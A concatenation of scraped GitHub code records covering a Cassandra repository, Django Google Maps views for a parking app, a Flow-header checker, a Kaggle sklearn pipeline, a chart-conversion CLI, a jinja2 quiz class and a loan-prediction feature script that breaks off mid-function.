CompanyStatisticResult:\n        return CompanyStatisticResult(company_name=row.company_name,\n                                      avg_price=row.avg_price,\n                                      avg_price_per_m2=row.avg_price_per_m2,\n                                      sales_offer_count=row.sales_offer_count\n                                      )\n\n#\n#\n# repository = CassandraOfferRepository(\"market_app\", \"offers_by_city_and_street\")\n#\n# row = repository.get_offers_by_city_and_address('Kraków', 'Krakowska')\n#\n# #\n# # # Insert a new row\n# # repository.insert(\"New York\", \"123 Main St\", 456, \"New Offer\", 1000, 500, 1, 2)\n# #\n# # # Update an existing row\n# # repository.update(offer_id, \"Updated Offer\", 1500)\n#\n# offer = Offer(\"New York\", \"Fifth Avenue\", '31f72b98-8b75-11ed-afb3-78b58af1d5d7', \"Luxury apartment2\", 1000000.0, 50.0,\n#               1, 1, \"MAIN_COMPANY\")\n# repository.update(offer)\n","repo_name":"karolina-kuna/PK_ZTBD_PROJ_1","sub_path":"implementation/market_app/repositories/cassandra/cassandra_offer_repository.py","file_name":"cassandra_offer_repository.py","file_ext":"py","file_size_in_byte":11229,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"34256249194","text":"\nimport logging\nimport googlemaps\nfrom django.shortcuts import render\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom rest_framework import status\nimport requests\nfrom ...models import CustomUser,Location\nimport geocoder\nfrom decouple import config\nfrom django.http import JsonResponse\nfrom django.template import TemplateDoesNotExist\nLOGGER = logging.getLogger(__name__)\n\n\nclass GMapsGeocoding(APIView):\n    \"\"\"\n    API wrapper for invoking google maps Geocoding API\n    \"\"\"\n\n    def get(self, request):\n        \"\"\"\n        Geocode the given address\n        \"\"\"\n        try:\n            print(\"Inside: first *****\", self.__class__.__name__)\n            print(\"Request params: \", request)\n            user_email = request.session.get('email')\n\n            user = CustomUser.objects.get(email=user_email)\n\n\n            address = request.GET.get('address')\n\n            latitude = request.GET.get('latitude')\n            longitude = request.GET.get('longitude')\n            current_latitude = request.GET.get('current_lat')\n            current_longitude = request.GET.get('current_lng')\n            print(\"***********\", latitude,longitude)\n\n            end_location = 0\n            if latitude and longitude:\n                lat = float(latitude)\n                long = float(longitude)\n                end_location = (lat, long)\n\n            start_location = 0\n            if current_latitude and current_longitude:\n                lat = float(current_latitude)\n                long = float(current_longitude)\n                start_location = (lat, long)\n\n            YOUR_API_KEY = config('YOUR_API_KEY')\n\n\n            gmaps = googlemaps.Client(key=YOUR_API_KEY)\n\n\n\n            directions_result = gmaps.directions(start_location, end_location,mode=\"driving\", alternatives=True)\n\n            location_obj = Location.objects.all()\n            fixed_locations = []\n\n            for data in location_obj:\n                location_dict = {\n                    \"lat\": data.latitude,\n                    \"lng\": data.longitude,\n                    \"title\": data.address,\n\n                    \"location_id\": data.id\n                }\n                fixed_locations.append(location_dict)\n            fixed_locations.append({\"lat\": lat, \"lng\": long, 'title': \"Me\"})\n            print(\"fixed_locations\", fixed_locations)\n            #\n            # fixed_locations = [\n            #\n            #     {\"lat\": lat, \"lng\": long, 'title': \"Me\"},\n            #     {\"lat\": 15.351132566178995, \"lng\": 75.11103627515064, 'title': \"Dollarbird\"},\n            #     {\"lat\": 12.455558657572665, \"lng\": 75.94912661758033, 'title': \"balamuri\"},\n            #     {\"lat\": 12.305225882078265, \"lng\": 76.65517489669053, 'title': \"Mysore palace\"}\n            # ]\n\n            return render(request, 'direction.html',\n                          {'directions': directions_result[0]['legs'][0]['steps'], 'fixed_locations': fixed_locations,'google_maps_api_key': YOUR_API_KEY})\n        except TemplateDoesNotExist:\n            return JsonResponse(\n                {'message': 'Template not found', 'error': 'The template direction.html does not exist'},\n                status=404)\n        except CustomUser.DoesNotExist:\n            return JsonResponse({'error': 'CustomUser not found'}, status=404)\n\n\nclass AllLocationGeocoding(APIView):\n    \"\"\"\n    API wrapper for invoking google maps Geocoding API\n    \"\"\"\n\n\n    def get(self, request):\n        \"\"\"\n        Geocode the given address\n        \"\"\"\n        try:\n            print(\"Inside: first *****\", self.__class__.__name__)\n            print(\"Request params: \", request)\n            user_email = request.session.get('email')\n\n            user = CustomUser.objects.get(email=user_email)\n            user.current_location = True\n            user.save()\n\n\n\n            address = request.GET.get('address')\n            print(\"address\", address)\n\n            latitude = (request.GET.get('latitude'))\n            longitude = (request.GET.get('longitude'))\n\n            print(\"type of latitude\", type(latitude))\n            print(\"type of longitude\", type(longitude))\n\n            lat = 0\n            lon = 0\n            try:\n                lat = float(latitude)\n                print(\"type a\", lat)\n                lon = float(longitude)\n                print(\"type b\", lon)\n            except:\n                print(\"in exception\")\n\n\n            if latitude and longitude:\n                start_location = (latitude, longitude)\n\n            YOUR_API_KEY = config('YOUR_API_KEY')\n\n            gmaps = googlemaps.Client(key=YOUR_API_KEY)\n\n            if address:\n\n                geocode_result = gmaps.geocode(address)\n\n                if geocode_result:\n                    location = geocode_result[0]['geometry']['location']\n                    lat = float(location['lat'])\n                    lon = float(location['lng'])\n\n                else:\n                    print(\"Geocode result not found for the given address\")\n\n            location_obj = Location.objects.all()\n            location_obj = Location.objects.all()\n            fixed_locations = []\n\n            for data in location_obj:\n                location_dict = {\n                    \"lat\": data.latitude,\n                    \"lng\": data.longitude,\n                    \"title\": data.address,\n\n                    \"location_id\": data.id\n                }\n                fixed_locations.append(location_dict)\n            fixed_locations.append({\"lat\": lat, \"lng\": lon, 'title': \"Me\"})\n\n            # fixed_locations = [\n            #     {\"lat\": lat, \"lng\": lon, 'title': \"Me\"},\n            #     {\"lat\": 15.351132566178995, \"lng\": 75.11103627515064, 'title': \"Dollarbird\", \"location_id\": 1},\n            #     {\"lat\": 12.455558657572665, \"lng\": 75.94912661758033, 'title': \"balamuri\", \"location_id\": 2},\n            #     {\"lat\": 12.305225882078265, \"lng\": 76.65517489669053, 'title': \"Mysore palace\", \"location_id\": 2}\n            # ]\n            context = { 'fixed_locations': fixed_locations}\n            print(\"context\", context)\n            return render(request, 'all_location.html',\n                          context )\n        except TemplateDoesNotExist:\n            return JsonResponse(\n                {'message': 'Template not found', 'error': 'The template all_location.html does not exist'},\n                status=404)\n        except CustomUser.DoesNotExist:\n            # If the user does not exist, you can handle it accordingly\n            # For example, you might want to return an error response\n            return JsonResponse({'message': 'User not found', 'error': 'User with the provided email does not exist'},\n                                status=404)\n\n\nclass CurrentLocation(APIView):\n    def get(self, request):\n        \"\"\"\n        Geocode the given address\n        \"\"\"\n        try:\n            print(\"Inside: \", self.__class__.__name__)\n            print(\"Request params: \", request.query_params)\n            user_email = request.session.get('email')\n\n            user = CustomUser.objects.get(email=user_email)\n\n            return render(request, 'current_location.html' )\n        except TemplateDoesNotExist:\n            return JsonResponse(\n                {'message': 'Template not found', 'error': 'The template current_location.html does not exist'},\n                status=404)\n        except CustomUser.DoesNotExist:\n            # If the user does not exist, you can handle it accordingly\n            # For example, you might want to return an error response\n            return JsonResponse({'message': 'User not found', 'error': 'User with the provided email does not exist'},\n                                status=404)\n\nclass ManualCurrentLocation(APIView):\n        def get(self, request):\n            \"\"\"\n            Geocode the given address\n            \"\"\"\n            try:\n                print(\"Inside: \", self.__class__.__name__)\n                print(\"Request params: \", request.query_params)\n                user_email = request.session.get('email')\n\n                user = CustomUser.objects.get(email=user_email)\n\n                return render(request, 'manual_current_location.html',\n                              )\n            except TemplateDoesNotExist:\n                return JsonResponse(\n                    {'message': 'Template not found', 'error': 'The template manual_current_location.html does not exist'},\n                    status=404)\n            except CustomUser.DoesNotExist:\n                # If the user does not exist, you can handle it accordingly\n                # For example, you might want to return an error response\n                return JsonResponse(\n                    {'message': 'User not found', 'error': 'User with the provided email does not exist'},\n                    status=404)\n\n","repo_name":"rashmi-hk/Parkivia","sub_path":"e_parking/epark_app/api/views/geo_map.py","file_name":"geo_map.py","file_ext":"py","file_size_in_byte":8801,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"23172461970","text":"from os import walk, path\nfrom glob import glob\n\nREADME = '''\nRecursively searching for *.js files inside 'src' folder and \nchecking if the file is flowed ('// @flow' is on the first line)\n'''\nDELIM, PATH = '---------------------------------------------------------------', 'src'\n\nprint(README)\nprint(DELIM)\n\nfiles = [y for x in walk(PATH) for y in glob(path.join(x[0], '*.js'))]\nfor filename in files:\n    with open(filename) as file:\n        first_line = file.readline().strip()\n        if first_line != '// @flow':\n            print('Unflowed file: \\t\"%s\"' % filename)\n\nprint(DELIM)\n","repo_name":"verejnedigital/verejne.digital","sub_path":"client/check_flow.py","file_name":"check_flow.py","file_ext":"py","file_size_in_byte":586,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"18"}
{"seq_id":"71426531880","text":"import category_encoders as ce\n\nimport numpy as np\n\nimport pandas as pd\n\nimport sklearn as sk\n\nfrom sklearn.linear_model import LogisticRegression\n\nfrom sklearn.preprocessing import OneHotEncoder, OrdinalEncoder\n\nfrom sklearn.pipeline import Pipeline\n\nfrom sklearn.model_selection import KFold, GridSearchCV\n\nfrom sklearn.base import TransformerMixin\n\nfrom sklearn.compose import ColumnTransformer\n\nimport warnings\nwarnings.simplefilter('ignore')\nTRAIN_PATH = '/kaggle/input/cat-in-the-dat/train.csv'\n\nTEST_PATH = '/kaggle/input/cat-in-the-dat/test.csv'\n\n\n\ntrain = pd.read_csv(TRAIN_PATH)\n\ntest = pd.read_csv(TEST_PATH)\n\ntrain.describe()\ny = train.pop('target')\n\ny.head()\nclass AdjustDay(TransformerMixin):\n\n    \"\"\"\n\n    Noticed from EDA that there is a very simple symmetric pattern that we can encode day as an ordinal category. \n\n    It turns out this didn't improve the score, but I'll leave it in as a nice touch (or for people wanting to know \n\n    how to build a basic sklearn custom transformer). ;)\n\n    \"\"\"\n\n\n\n    def fit(self, X, y=None):\n\n        return self\n\n\n\n    def transform(self, X):\n\n        return abs(X-4)\n#One Hot Encoded stuff\n\nohe_step = ('ohe', OneHotEncoder(sparse=False, handle_unknown='ignore'))\n\nohe_pipeline = Pipeline(steps=[ohe_step])\n\ncat_cols = ['bin_0', 'bin_1', 'bin_2', 'bin_3', 'bin_4', 'nom_0', 'nom_1', 'nom_2', 'nom_3', 'nom_4', 'nom_5', 'nom_6', 'month']\n\n\n\n#Catboost Encoded stuff\n\ncatboost_enc_step = ('catboost', ce.CatBoostEncoder())\n\ncatboost_pipeline = Pipeline(steps=[catboost_enc_step])\n\nhigh_dim_cols = ['nom_7', 'nom_8', 'nom_9']\n\n\n\n#Ordinal Encoded automatically\n\nord_auto_step = ('ord', OrdinalEncoder(categories='auto'))\n\nord_auto_pipeline = Pipeline(steps=[ord_auto_step])\n\nord_auto_cols = ['ord_0', 'ord_3', 'ord_4', 'ord_5']\n\n\n\n#Ordinal Encoded with manually specified order\n\nord_list_step = ('ord_list', OrdinalEncoder(categories=[['Novice', 'Contributor', 'Expert', 'Master', 'Grandmaster'],\n\n                                                    ['Freezing', 'Cold', 'Warm', 'Hot', 'Boiling Hot', 'Lava Hot']]))\n\nord_list_pipeline = Pipeline(steps=[ord_list_step])\n\nord_list_cols = ['ord_1', 'ord_2']\n\n\n\n#Using custom transformer\n\nadjust_day = ('adjust_day', AdjustDay())\n\nadjust_day_pipeline = Pipeline(steps=[adjust_day, ord_auto_step])\n\nday_cols = ['day']\n\n\n\n#All the transformers\n\ntransformers = [('cat', ohe_pipeline, cat_cols), \n\n                ('ord_auto', ord_auto_pipeline, ord_auto_cols), \n\n                ('day', adjust_day_pipeline, day_cols),\n\n                ('ord_list', ord_list_pipeline, ord_list_cols),\n\n                ('high_dim_cols', catboost_pipeline, high_dim_cols)]\n\ncol_transformer = ColumnTransformer(transformers=transformers)\n\n\n\n#Create the pipeline\n\nml_pipe = Pipeline([('transform', col_transformer), ('lr', LogisticRegression())])\n#Cross-Validation\n\nkf = KFold(n_splits=5, shuffle=True, random_state=123)\n\nparam_grid = {\n\n    'lr__C': [.001, 0.01, 0.1, 1.0, 10.0],\n\n    }\n\ngs = GridSearchCV(ml_pipe, param_grid, cv=kf)\n\ngs.fit(train, y)\n\nprint(gs.best_params_)\n\nprint(gs.best_score_)","repo_name":"aorursy/new-nb-3","sub_path":"ezamir_simple-scikit-pipeline.py","file_name":"ezamir_simple-scikit-pipeline.py","file_ext":"py","file_size_in_byte":3076,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"1334902013","text":"import argparse\nimport glob\nimport importlib\nimport os\n\nimport charttool.plugins\n\n\ndef find_handler(input_filename, input_format):\n    formats = [importlib.import_module('charttool.plugins.' + name).get_class() for name in charttool.plugins.__all__]\n\n    for handler in formats:\n        if input_format is not None and handler.get_format_name().lower() == input_format.lower():\n            return handler\n\n    return None\n\n\ndef process_file(params):\n    input_format = params['input_format'] if 'input_format' in params else None\n    output_format = params['output_format'] if 'output_format' in params else None\n\n    input_handler = find_handler(None, input_format)\n    output_handler = find_handler(None, output_format)\n\n    if output_handler is None:\n        output_handler = input_handler\n\n    if input_handler is None:\n        print(\"Could not find a handler for input file\")\n        exit(1)\n\n    if output_handler is None:\n        print(\"Could not find a handler for output file\")\n        exit(1)\n\n    print(\"Using {} handler to process this file...\".format(input_handler.get_format_name()))\n\n    json_data = input_handler.to_json(params)\n\n    params['input'] = json_data\n    output_handler.to_chart(params)\n\n\ndef main(args):\n    parser = argparse.ArgumentParser()\n    input_group = parser.add_argument_group('input')\n    input_group.add_argument('--input', help='Input file/folder')\n    input_group.add_argument('--input-format', help='Input file format version', required=True)\n\n    input_chart_group = parser.add_argument_group('input_chart')\n    for part in ['sp', 'dp']:\n        for difficulty in ['beginner', 'normal', 'hyper', 'another', 'black']:\n            input_chart_group.add_argument('--input-%s-%s' % (part, difficulty), help=\"%s %s chart input (for creation)\" % (part.upper(), difficulty))\n\n    parser.add_argument('--output', help='Output file/folder (only usable with some converters)')\n    parser.add_argument('--output-format', help='Output file format version', required=True)\n\n    # Uncomment when/if old PS2 chart writers are implemented\n    # output_chart_group = parser.add_argument_group('output_chart')\n    # for part in ['sp', 'dp']:\n    #     for difficulty in ['beginner', 'normal', 'hyper', 'another', 'black']:\n    #         output_chart_group.add_argument('--output-%s-%s' % (part, difficulty), help=\"%s %s chart input (for creation, only usable with some converters)\" % (part.upper(), difficulty))\n\n    args = parser.parse_args(args)\n\n    if args.input and os.path.isdir(args.input):\n        for filename in glob.glob(glob.escape(args.input) + \"\\\\*.ply\"):\n            for part in ['sp', 'dp']:\n                for difficulty in ['beginner', 'normal', 'hyper', 'another', 'black']:\n                    if '[{} {}]'.format(part, difficulty).upper() in filename:\n                        setattr(args, 'input_{}_{}'.format(part, difficulty), filename)\n                        break\n\n        args.input = None\n\n    params = {\n        \"input\": args.input if args.input else None,\n        \"input_format\": args.input_format if args.input_format else None,\n        \"output\": args.output,\n        \"output_format\": args.output_format,\n        'input_charts': {},\n        'output_charts': {},\n    }\n\n    last_filename = args.input\n    for part in ['sp', 'dp']:\n        for difficulty in ['beginner', 'normal', 'hyper', 'another', 'black']:\n            val = getattr(args, 'input_{}_{}'.format(part, difficulty))\n\n            if val is not None:\n                params['input_charts']['{} {}'.format(part, difficulty).upper()] = val\n                last_filename = val\n\n    if not args.output:\n        args.output = os.path.join(os.path.dirname(last_filename), \"output.json\") # TODO: Detect proper extension\n        params['output'] = args.output\n\n    # for part in ['sp', 'dp']:\n    #     for difficulty in ['beginner', 'normal', 'hyper', 'another', 'black']:\n    #         val = getattr(args, 'output_{}_{}'.format(part, difficulty))\n\n    #         if val is not None:\n    #             params['output_charts']['{} {}'.format(part, difficulty).upper()] = val\n\n    process_file(params)\n\n\n\nif __name__ == \"__main__\":\n    main(sys.argv[1:])","repo_name":"SaxxonPike/iidx-ps2tools","sub_path":"iidxtool.py","file_name":"iidxtool.py","file_ext":"py","file_size_in_byte":4166,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"18"}
{"seq_id":"7042323428","text":"\"\"\"\nRepresentation of a quiz\n\"\"\"\n\nimport jinja2\n\ndefault_quiz_template = jinja2.Template(\"\"\"\n{{ quiz_name }} (version: {{ quiz_version }})\n{{ preamble }}\n\n{% for question in questions %}\n    Question #{{ loop.index }}:\n    {{ question.render_question()}}\n{% endfor %}\n\"\"\")\n\ndefault_marking_sheet_template = jinja2.Template(\"\"\"\nMarking sheet for {{ quiz_name }} version {{ quiz_version }}\n{% for question in questions %}\n    Answer for question #{{loop.index}}: {{ question.render_answer() }}\n{% endfor %}\n\"\"\")\n\nclass Quiz:\n    \"\"\"Represents a particlar instance of a Quiz\"\"\"\n\n    def __init__(self, questions, quiz_name=\"\", quiz_version=\"\",\n                 preamble=None, quiz_questions_template=default_quiz_template,\n                 marking_sheet_template=default_marking_sheet_template):\n        \"\"\"\n        :questions: A collection of questions that comprises this quiz\n        :quiz_name: The name of this quiz\n        :quiz_version: The version of the quiz\n        :preamble: Text to appear before quiz any questions\n        :quiz_questions_template: A template to display the quiz questions.\n                                  See the default for an example.\n        :default_marking_sheet_template: A template to display the marking sheet.\n                                         See the default for an example.\n        \"\"\"\n        self.questions = questions\n        self.quiz_name = quiz_name\n        self.quiz_version = quiz_version\n        self.preamble = preamble\n        self.quiz_questions_template = quiz_questions_template\n        self.marking_sheet_template = marking_sheet_template\n\n    def add_question(self, question):\n        \"\"\"Add a question to the Quiz\"\"\"\n        self.questions.append(question)\n\n    def create_marking_sheet(self):\n        \"\"\"Create a marking sheet for this quiz\"\"\"\n        rendered_output = self.marking_sheet_template.render({\n            \"quiz_name\": self.quiz_name,\n            \"quiz_version\": self.quiz_version,\n            \"questions\": self.questions,\n        })\n        return rendered_output\n\n    def render(self):\n        \"\"\"\n        Render the quiz using the provided template\n        :rtype: str\n        :returns: A string with the rendered quiz\n        \"\"\"\n        rendered_output = self.quiz_questions_template.render({\n            \"quiz_name\": self.quiz_name,\n            \"quiz_version\": self.quiz_version,\n            \"questions\": self.questions,\n        })\n        return rendered_output\n","repo_name":"JaggedVerge/programmable_quizzes","sub_path":"quiz_generator/quiz.py","file_name":"quiz.py","file_ext":"py","file_size_in_byte":2448,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"}
{"seq_id":"9321662730","text":"# -*- coding: UTF-8 -*-\nimport time\nfrom datetime import datetime\nfrom datetime import timedelta\nfrom sklearn.cluster import KMeans\nfrom sklearn.externals import joblib\nfrom sklearn.preprocessing import StandardScaler  \nimport pandas as pd\nimport pickle\nimport os\nimport math\nimport numpy as np\n\nt_click_file = '../../t_click.csv'\nt_loan_sum_file = '../../t_loan_sum.csv'\nt_loan_file = '../../t_loan.csv'\nt_order_file = '../../t_order.csv'\nt_user_file = '../../t_user.csv'\n\ndef change_data(x):\n    return math.pow(5,x)-1\n\ndef conver_time(time):\n    return int(time.split('-')[1])\n\ndef map_day2period(df,values,action,days):\n    def _exch(x):\n        if x <= days:\n            return '%s_%s' % (action, days)\n        else:\n            return 'exclude'\n    # print(df['days'][:10])\n    df['days'] = df['days'].map(lambda x:_exch(x))\n    df = df.groupby(['uid','days'],as_index=False).sum()\n    df = df.pivot(index='uid', columns='days', values=values).reset_index()\n    df = df[['uid','%s_%s' % (action, days)]]\n    # del df['uid']\n    return df\n\ndef map_day2week(df,values,action):\n    def _exch(x):\n        if x <= 7:\n            return '%s_week1' % action\n        elif x <= 14:\n            return '%s_week2' % action\n        elif x <= 21:\n            return '%s_week3' % action\n        elif x <= 28:\n            return '%s_week4' % action\n        else:\n            return 'other'\n    df['weeks'] = df['days'].map(lambda x:_exch(x))\n    df = df.groupby(['uid','weeks'],as_index=False).sum()\n    df = df.pivot(index='uid', columns='weeks', values=values).reset_index()\n    df = df[['uid','%s_week1' % action,'%s_week2' % action,'%s_week3' % action,'%s_week4' % action]]\n    df.fillna(0,inplace=True)\n    return df\n\n\ndef map_hours2bucket(action,hours):\n    if hours>=8 and hours<=11:\n        return '%s_hours_01' % action\n    if hours >=12 and hours<=15:\n        return '%s_hours_02' % action\n    if hours >= 16 and hours<=19:\n        return '%s_hours_03' % action\n    if hours>=20 and hours<=23:\n        return '%s_hours_04' % action\n    if hours>=4 and hours <= 7:\n        return '%s_hours_05' % action\n    else:\n        return '%s_hours_06' % action\n\ndef user_cluster(df,state,model_name):\n    \"\"\"\n    使用余弦相似度/kNN计算用户的相似度\n    \"\"\"\n    feat_list = list(df.columns)\n    feat_list.remove('uid')\n    data = df[feat_list].values\n    data = StandardScaler().fit_transform(data)\n\n    if state == 'train':\n        clf = KMeans(init='k-means++', max_iter=1200,n_clusters=180, n_init=10, n_jobs= -2)\n        clf.fit(data)\n        joblib.dump(clf , './model/clu_%s.pkl' % model_name)\n        cluster_label = clf.labels_ + 1\n    else:\n        clf = joblib.load('./model/clu_%s.pkl' % model_name)\n        cluster_label = clf.predict(data) + 1\n    return cluster_label\n\ndef gen_basic_user_feat():\n    dump_path = './tmp/train_user_feat.pkl'\n    if os.path.exists(dump_path):\n        df_user = pickle.load(open(dump_path,'rb'))\n    else:\n        df_user = pd.read_csv(t_user_file,header=0)\n        # 训练时的截止日期时11月，以11月初作为计算激活时长终止时间，预测时改为12月\n        df_user['a_date'] = df_user['active_date'].map(lambda x: datetime.strptime('2016-11-1','%Y-%m-%d') - datetime.strptime(x, '%Y-%m-%d'))\n        df_user['a_date'] = df_user['a_date'].map(lambda x : x.days/7)\n        df_user['limit'] = df_user['limit'].map(lambda x: change_data(x))\n        del df_user['active_date']\n        pickle.dump(df_user, open(dump_path, 'wb'))\n    return df_user\n\ndef gen_filter_loan_feat():\n    dump_path = './tmp/train_filter_loan_feat.pkl'\n    if os.path.exists(dump_path):\n        df_filter_loan = pickle.load(open(dump_path,'rb'))\n    else:\n        df_filter_loan = pd.read_csv(t_loan_file,header=0)\n        df_filter_loan['month'] = df_filter_loan['loan_time'].map(lambda x: conver_time(x))\n        df_filter_loan['loan_amount'] = df_filter_loan['loan_amount'].map(lambda x: round(change_data(x)))\n        df_filter_loan = df_filter_loan[df_filter_loan['month'] != 11]\n        del df_filter_loan['month']\n        # df_filter_loan = df_filter_loan[df_filter_loan['loan_amount'] <= 90000]\n        # df_filter_loan = df_filter_loan[df_filter_loan['loan_amount'] > 499]\n        # 贷款行为在滑动时间窗口内的贷款总额\n        df_filter_loan['days'] = df_filter_loan['loan_time'].map(lambda x: datetime.strptime('2016-11-1 00:00:00', '%Y-%m-%d %H:%M:%S') - datetime.strptime(x, '%Y-%m-%d %H:%M:%S'))\n        df_filter_loan['days'] = df_filter_loan['days'].map(lambda x: int(x.days))\n\n        uid = df_filter_loan['uid'].unique()\n        exclu = [1]*len(uid) \n        days_df = pd.DataFrame({'uid':uid,'exclu':exclu})\n        for day in [1,2,3,5,7,9,15,20,25,30,35,40,45,50,60,70,80,90]:\n            df = df_filter_loan[['uid','days','loan_amount']].copy()\n            day_df = map_day2period(df,'loan_amount', 'loan', day)\n            days_df = pd.merge(days_df,day_df,how='left',on='uid')\n        days_df = days_df.fillna(0)\n        del days_df['exclu']\n        change_list = list(days_df.columns)\n        change_list.remove('uid')\n        for col in change_list:\n            days_df[col] = days_df[col].map(lambda x : math.log(x+1,5))\n\n        weeks_df = map_day2week(df_filter_loan.copy(),'loan_amount','loan_filter')\n        weeks_df['filter_loan_min'] = weeks_df[['loan_filter_week1','loan_filter_week2','loan_filter_week3','loan_filter_week4']].apply(lambda x: x.min(),axis=1)\n        weeks_df['filter_loan_max'] = weeks_df[['loan_filter_week1','loan_filter_week2','loan_filter_week3','loan_filter_week4']].apply(lambda x: x.max(),axis=1)\n        weeks_df['filter_loan_sum'] = weeks_df[['loan_filter_week1','loan_filter_week2','loan_filter_week3','loan_filter_week4']].apply(lambda x: x.sum(),axis=1)\n        weeks_df['filter_loan_mean'] = weeks_df[['loan_filter_week1','loan_filter_week2','loan_filter_week3','loan_filter_week4']].apply(lambda x: x.mean(),axis=1)\n        weeks_df['filter_loan_std'] = weeks_df[['loan_filter_week1','loan_filter_week2','loan_filter_week3','loan_filter_week4']].apply(lambda x: x.std(),axis=1)\n        weeks_df['filter_loan_std'] = weeks_df['filter_loan_std'].map(lambda x : 1/(1+x))\n\n        df_filter_loan = pd.merge(days_df,weeks_df,how='outer',on='uid')\n        pickle.dump(df_filter_loan, open(dump_path, 'wb'))\n    return df_filter_loan\n\ndef gen_basic_loan_feat():\n    dump_path = './tmp/train_loan_feat.pkl'\n    if os.path.exists(dump_path):\n        df_loan = pickle.load(open(dump_path,'rb'))\n    else:\n        df_loan = pd.read_csv(t_loan_file,header=0)\n        df_loan['month'] = df_loan['loan_time'].map(lambda x: conver_time(x))\n        df_loan['loan_amount'] = df_loan['loan_amount'].map(lambda x: change_data(x))\n        df_loan = df_loan[df_loan['month'] != 11]\n        # df_loan = df_loan[df_loan['loan_amount'] <= 90000]\n        # df_loan = df_loan[df_loan['loan_amount'] >= 499]\n\n        # 贷款时间分布\n        loan_hour_df = df_loan.copy()\n        loan_hour_df['loan_time_hours'] = loan_hour_df['loan_time'].map(lambda x: int(x.split(' ')[1].split(':')[0]))\n        loan_hour_df['loan_time_hours'] = loan_hour_df['loan_time_hours'].map(lambda x : map_hours2bucket('loan',x))\n        loan_hour_df = loan_hour_df.groupby(['uid','loan_time_hours'],as_index=False).count()\n        loan_hour_df = loan_hour_df.pivot(index='uid', columns='loan_time_hours', values='loan_amount').reset_index()\n        loan_hour_df = loan_hour_df.fillna(0)\n\n        statistic_df = df_loan.copy()\n        statistic_df = statistic_df.groupby(['uid','month'],as_index=False).sum()\n        statistic_df = statistic_df.pivot(index='uid', columns='month', values='loan_amount').reset_index()\n        statistic_df = statistic_df.fillna(0)\n        statistic_df['loan_min'] = statistic_df[[8,9,10]].apply(lambda x: x.min(),axis=1)\n        statistic_df['loan_max'] = statistic_df[[8,9,10]].apply(lambda x: x.max(),axis=1)\n        statistic_df['loan_sum'] = statistic_df[[8,9,10]].apply(lambda x: x.sum(),axis=1)\n        statistic_df['loan_mean'] = statistic_df[[8,9,10]].apply(lambda x: x.mean(),axis=1)\n        statistic_df['loan_std'] = statistic_df[[8,9,10]].apply(lambda x: x.std(),axis=1)\n        statistic_df['loan_std'] = statistic_df['loan_std'].map(lambda x : 1/(1+x))\n\n        # statistic_data = []\n        # for uid in set(df_loan['uid']):\n        #     _min = df_loan[df_loan['uid'] == uid]['loan_amount'].min()\n        #     _max = df_loan[df_loan['uid'] == uid]['loan_amount'].max()\n        #     _median = df_loan[df_loan['uid'] == uid]['loan_amount'].median()\n        #     _sum = df_loan[df_loan['uid'] == uid]['loan_amount'].sum()\n        #     statistic_data.append([uid,_min,_max,_median,_sum])\n        # statistic_df = pd.DataFrame(statistic_data,columns=['uid','loan_min','loan_max','loan_median','loan_sum'])\n\n        # 贷款分期特征\n        plannum_df = df_loan.copy()\n        plannum_df = plannum_df.groupby(['uid','plannum'],as_index=False).count()\n        plannum_df = plannum_df.pivot(index='uid',columns='plannum',values='loan_amount').reset_index()\n        plannum_df = plannum_df.fillna(0)\n        plannum_df.columns = ['uid','plannum_01','plannum_03','plannum_06','plannum_12']\n        plannum_df['plannum_min'] = plannum_df[['plannum_01','plannum_03','plannum_06','plannum_12']].apply(lambda x: x.min(),axis=1)\n        plannum_df['plannum_max'] = plannum_df[['plannum_01','plannum_03','plannum_06','plannum_12']].apply(lambda x: x.max(),axis=1)\n        plannum_df['plannum_sum'] = plannum_df[['plannum_01','plannum_03','plannum_06','plannum_12']].apply(lambda x: x.sum(),axis=1)\n        plannum_df['plannum_mean'] = plannum_df[['plannum_01','plannum_03','plannum_06','plannum_12']].apply(lambda x: x.mean(),axis=1)\n        plannum_df['plannum_std'] = plannum_df[['plannum_01','plannum_03','plannum_06','plannum_12']].apply(lambda x: x.std(),axis=1)\n        plannum_df['plannum_std'] = plannum_df['plannum_std'].map(lambda x : 1/(1+x))\n        # 每月贷款次数\n        # df_loan['loan_times'] = 1\n        # 上次贷款距离现在的时长\n        df_loan['loanTime_weights'] = df_loan['loan_time'].map(lambda x: datetime.strptime('2016-11-1 00:00:00', '%Y-%m-%d %H:%M:%S') - datetime.strptime(x, '%Y-%m-%d %H:%M:%S'))\n        df_loan['loanTime_weights'] = df_loan['loanTime_weights'].map(lambda x: 1/(1e-6+x.days/30))\n        # 贷款权重\n        df_loan['loan_weights'] = df_loan['loan_amount'] * df_loan['loanTime_weights']\n        # 11月累计需要还款金额\n        month_8 = df_loan[df_loan['month']==8]\n        month_8['repay'] = month_8['loan_amount']/month_8['plannum']\n        month_8['repay'][month_8['plannum'] < 3] = 0.\n\n        month_9 = df_loan[df_loan['month']==9]\n        month_9['repay'] = month_9['loan_amount']/month_9['plannum']\n        month_9['repay'][month_9['plannum'] < 2] = 0.\n\n        month_10 = df_loan[df_loan['month']==10]\n        month_10['repay'] = month_10['loan_amount']/month_10['plannum']\n\n        df_loan = pd.concat([month_8,month_9,month_10],axis=0,ignore_index=False)\n        # 每月贷款间隔特征\n        month_df = pd.get_dummies(df_loan['month'], prefix=\"month\")\n        df_loan = pd.concat([df_loan,month_df],axis=1)\n        df_loan = df_loan.groupby(['uid'],as_index=False).sum()\n        df_loan['loan_months'] = df_loan['month_8']+df_loan['month_9']+df_loan['month_10']\n        df_loan['loan_12'] = df_loan['month_8']+df_loan['month_9']\n        df_loan['loan_12'] = df_loan['loan_12'].map({0:0,1:0,2:1})\n        df_loan['loan_13'] = df_loan['month_8']+df_loan['month_10']\n        df_loan['loan_13'] = df_loan['loan_13'].map({0:0,1:0,2:1})\n        df_loan['loan_23'] = df_loan['month_9']+df_loan['month_10']\n        df_loan['loan_23'] = df_loan['loan_23'].map({0:0,1:0,2:1})\n        df_loan['loan_123'] = df_loan['month_8']+df_loan['month_9']+df_loan['month_10']\n        